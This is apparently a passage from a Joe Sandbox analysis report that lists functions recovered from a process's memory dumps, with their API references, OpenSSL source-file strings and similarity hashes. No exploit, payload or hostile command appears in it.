Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 544d81e5d0bf66c33f804bb133da19342079062bac93336a06aa1597cb30c435
Instruction ID: 90bd7c853e955643e560bb610d3d8834bb57ece20d26a62745cb6e823684758f
Opcode Fuzzy Hash: 544d81e5d0bf66c33f804bb133da19342079062bac93336a06aa1597cb30c435
Instruction Fuzzy Hash: 1D315E7260AB81A6EB618F60E8403ED7365FB84794F44443ADB4E47B98FF78D548C728

Function 00007FF8A7CC30E8 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8A7CC3104
memset.VCRUNTIME140 ref: 00007FF8A7CC3128
RtlCaptureContext.KERNEL32 ref: 00007FF8A7CC3131
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8A7CC314B
RtlVirtualUnwind.KERNEL32 ref: 00007FF8A7CC318C
memset.VCRUNTIME140 ref: 00007FF8A7CC31BF
IsDebuggerPresent.KERNEL32 ref: 00007FF8A7CC31E0
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8A7CC3201
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8A7CC320C

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: d7e82cabd9796a5cc19c6e8637579e4198f8c251196789a756a290bf3cbab7b6
Instruction ID: 0988f0ad09303f6ffcd6769c011c7f3baa8fcd68c12d09726609df71a1256a7d
Opcode Fuzzy Hash: d7e82cabd9796a5cc19c6e8637579e4198f8c251196789a756a290bf3cbab7b6
Instruction Fuzzy Hash: 9F315C7260AB819AEB609F60E8503EE7364FB84784F44403ADB8E57B99DF3CD548D714

Function 00007FF8A7F98490 Relevance: 12.8, Strings: 10, Instructions: 320COMMON

Download Yara Rule

Strings

..\s\crypto\pem\pvkfmt.c, xrefs: 00007FF8A7F98518, 00007FF8A7F98542, 00007FF8A7F98556, 00007FF8A7F98617, 00007FF8A7F98790, 00007FF8A7F98900, 00007FF8A7F98922, 00007FF8A7F98953
RSA2, xrefs: 00007FF8A7F98868
RSA2, xrefs: 00007FF8A7F986C5
RSA2, xrefs: 00007FF8A7F98773
DSS2, xrefs: 00007FF8A7F986D1
RSA1, xrefs: 00007FF8A7F98852
~, xrefs: 00007FF8A7F988ED
DSS2, xrefs: 00007FF8A7F9877B
DSS1, xrefs: 00007FF8A7F9885D
DSS2, xrefs: 00007FF8A7F9886F

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\pem\pvkfmt.c$DSS1$DSS2$DSS2$DSS2$RSA1$RSA2$RSA2$RSA2$~
API String ID: 0-3555087193
Opcode ID: 0f5d1cf0179868947569aa4f00c3351fad583bde6054081d07034abed1da769a
Instruction ID: 59873cc540d25c7e48058def0e5318091df3475539923003545b4e41698dd690
Opcode Fuzzy Hash: 0f5d1cf0179868947569aa4f00c3351fad583bde6054081d07034abed1da769a
Instruction Fuzzy Hash: B9D11561B0E99265F7619F3684106BE7790FF817C4F444132EA9D47A8AEF3CE211E711

Function 00007FF8A7DE1140 Relevance: 9.9, APIs: 3, Strings: 3, Instructions: 919COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF8A7EC17A9
..\s\crypto\bn\bn_exp.c, xrefs: 00007FF8A7EC0FA3, 00007FF8A7EC1280, 00007FF8A7EC1C78
, xrefs: 00007FF8A7EC168F

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: $..\s\crypto\bn\bn_exp.c$gfff
API String ID: 0-1870203436
Opcode ID: 8148e7df0f5814e6b585f1d8c28637516ecd8ecef35a76ec0cb5b760d153bf65
Instruction ID: 29a004a27ed3be9aadc2f5729e54070334888eb640e4f2415ed0070a8fc47ec7
Opcode Fuzzy Hash: 8148e7df0f5814e6b585f1d8c28637516ecd8ecef35a76ec0cb5b760d153bf65
Instruction Fuzzy Hash: DB828EB6605A829ADB14CF25D8406ED77A5FB88BC8F444236EF4E87B99DF38D610D340

Function 00007FF8A7DE3BA2 Relevance: 9.6, APIs: 4, Strings: 2, Instructions: 643COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A7F06166
memmove.VCRUNTIME140 ref: 00007FF8A7F0625A
memset.VCRUNTIME140 ref: 00007FF8A7F063E8
memmove.VCRUNTIME140 ref: 00007FF8A7F064A0

Strings

..\s\crypto\dsa\dsa_gen.c, xrefs: 00007FF8A7F05FF4, 00007FF8A7F06012, 00007FF8A7F06039, 00007FF8A7F06102, 00007FF8A7F06127, 00007FF8A7F06464, 00007FF8A7F069F3
ggen, xrefs: 00007FF8A7F067FE

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memmove$memset
String ID: ..\s\crypto\dsa\dsa_gen.c$ggen
API String ID: 3790616698-373923223
Opcode ID: 73192ffa8042697d0eb5b66b6c70e5945a2d6c92730d4663990e435d7105c59c
Instruction ID: 0a36f3a125c66609e3c5a8ee535c76feef8f62aca8a63b3fd954a0ccea2c4d00
Opcode Fuzzy Hash: 73192ffa8042697d0eb5b66b6c70e5945a2d6c92730d4663990e435d7105c59c
Instruction Fuzzy Hash: C152632160E78295EA619F26E8503BE67A0FF85BC4F044135EE9D47B9AEF3CE541E700

Function 00007FF8A7DE44C6 Relevance: 9.5, APIs: 4, Strings: 2, Instructions: 529COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A7F055DA
memmove.VCRUNTIME140 ref: 00007FF8A7F05701
memmove.VCRUNTIME140 ref: 00007FF8A7F05711
memmove.VCRUNTIME140 ref: 00007FF8A7F05C88

Strings

U, xrefs: 00007FF8A7F0558C
..\s\crypto\dsa\dsa_gen.c, xrefs: 00007FF8A7F05594

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memmove
String ID: ..\s\crypto\dsa\dsa_gen.c$U
API String ID: 2162964266-1283623164
Opcode ID: 349ae27b433cc8dc6eb262ae96346173bf90c9a69427cb0d1fd13bd9607584ce
Instruction ID: c8bedd67db18df84576bffb9bbb95a2e907f84e864ba5996d731ffef45d6fe74
Opcode Fuzzy Hash: 349ae27b433cc8dc6eb262ae96346173bf90c9a69427cb0d1fd13bd9607584ce
Instruction Fuzzy Hash: 33229122A0AB8295EB119F35D4046BE6BA0EF85BC8F044235EE4D57B8AFF7CE541D710

Function 00007FF8A7F993C0 Relevance: 6.7, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

..\s\crypto\pem\pvkfmt.c, xrefs: 00007FF8A7F994CE, 00007FF8A7F99634, 00007FF8A7F996B4, 00007FF8A7F996CB
DSS2, xrefs: 00007FF8A7F994B0
RSA1, xrefs: 00007FF8A7F99546
DSS1, xrefs: 00007FF8A7F9948F
RSA2, xrefs: 00007FF8A7F9955D

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\pem\pvkfmt.c$DSS1$DSS2$RSA1$RSA2
API String ID: 0-2917646762
Opcode ID: 1e4c32a7994f2a6615d74713f4ec2f02e40bda7ce4ac0b2888b9d2cff73c3fe2
Instruction ID: 50000b65934dd249a0aa4cde4b599c366cd0d9f2c354fbc424b05ffae55aae4f
Opcode Fuzzy Hash: 1e4c32a7994f2a6615d74713f4ec2f02e40bda7ce4ac0b2888b9d2cff73c3fe2
Instruction Fuzzy Hash: 4EF1E562F16A52A9FB01DF65C8405FC6B61FB84BC8F484131EE1E57B9AEE39E105D300

Function 00007FF8A7DE22E8 Relevance: 6.4, APIs: 5, Instructions: 140COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A7F8398B
memset.VCRUNTIME140 ref: 00007FF8A7F839A2
memmove.VCRUNTIME140 ref: 00007FF8A7F839C9
memset.VCRUNTIME140 ref: 00007FF8A7F839D6
memmove.VCRUNTIME140 ref: 00007FF8A7F83A0A

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memmove$memset
String ID:
API String ID: 3790616698-0
Opcode ID: 5c27fcc7b015d44772e24548af3a7e83aa402ed56b7fba7a99915febce0b760f
Instruction ID: 94fa5d2721f42e420d02376c761393dd260a30ac5e3fd672cdb3cd7446942f7a
Opcode Fuzzy Hash: 5c27fcc7b015d44772e24548af3a7e83aa402ed56b7fba7a99915febce0b760f
Instruction Fuzzy Hash: CD51D23671A78596EB10CB26E44066EBBA8FB49BD4F444135EE9D077A5CF3CD201D700

Function 00007FF8A7DE2C75 Relevance: 5.3, Strings: 4, Instructions: 312COMMON

Download Yara Rule

Strings

..\s\crypto\aes\aes_ige.c, xrefs: 00007FF8A7E805C8, 00007FF8A7E805E9, 00007FF8A7E80608
assertion failed: (length % AES_BLOCK_SIZE) == 0, xrefs: 00007FF8A7E8060F
assertion failed: in && out && key && ivec, xrefs: 00007FF8A7E805CF
assertion failed: (AES_ENCRYPT == enc) || (AES_DECRYPT == enc), xrefs: 00007FF8A7E805F0

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\aes\aes_ige.c$assertion failed: (AES_ENCRYPT == enc) || (AES_DECRYPT == enc)$assertion failed: (length % AES_BLOCK_SIZE) == 0$assertion failed: in && out && key && ivec
API String ID: 0-3998121876
Opcode ID: 3498a025c29a1beb79b4c33d9388a448d468dd8768116bfb4bd88f5de9fc7b01
Instruction ID: eceb1f958d23e139d30f9346a19285d66f4af73bc6fced83572eba843dd1e0ba
Opcode Fuzzy Hash: 3498a025c29a1beb79b4c33d9388a448d468dd8768116bfb4bd88f5de9fc7b01
Instruction Fuzzy Hash: ABD19532F1AAC694FB018F78C4011BC6761FB95BC8F949632DA8D26685EF3DD55AD300

Function 00007FF8A7DE2B5D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57networkCOMMON

Download Yara Rule

APIs

bind.WS2_32 ref: 00007FF8A7EAA629
WSAGetLastError.WS2_32 ref: 00007FF8A7EAA638

Strings

..\s\crypto\bio\b_sock2.c, xrefs: 00007FF8A7EAA5DE, 00007FF8A7EAA64E, 00007FF8A7EAA66A

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: ErrorLastbind
String ID: ..\s\crypto\bio\b_sock2.c
API String ID: 2328862993-3200932406
Opcode ID: 8475ffe534be1b52f8a83a963f2585e8110bc00f71c71f802b4263a764d0a002
Instruction ID: 6b0af4a63ba88cfc6f9de1238a973c0c0c95c860fd7b073d76a99bfe0136ade6
Opcode Fuzzy Hash: 8475ffe534be1b52f8a83a963f2585e8110bc00f71c71f802b4263a764d0a002
Instruction Fuzzy Hash: 30219D32B0964296E7119F26E8002AE7760FB84BC4F400631EA6D43BD9EF3DE565DB00

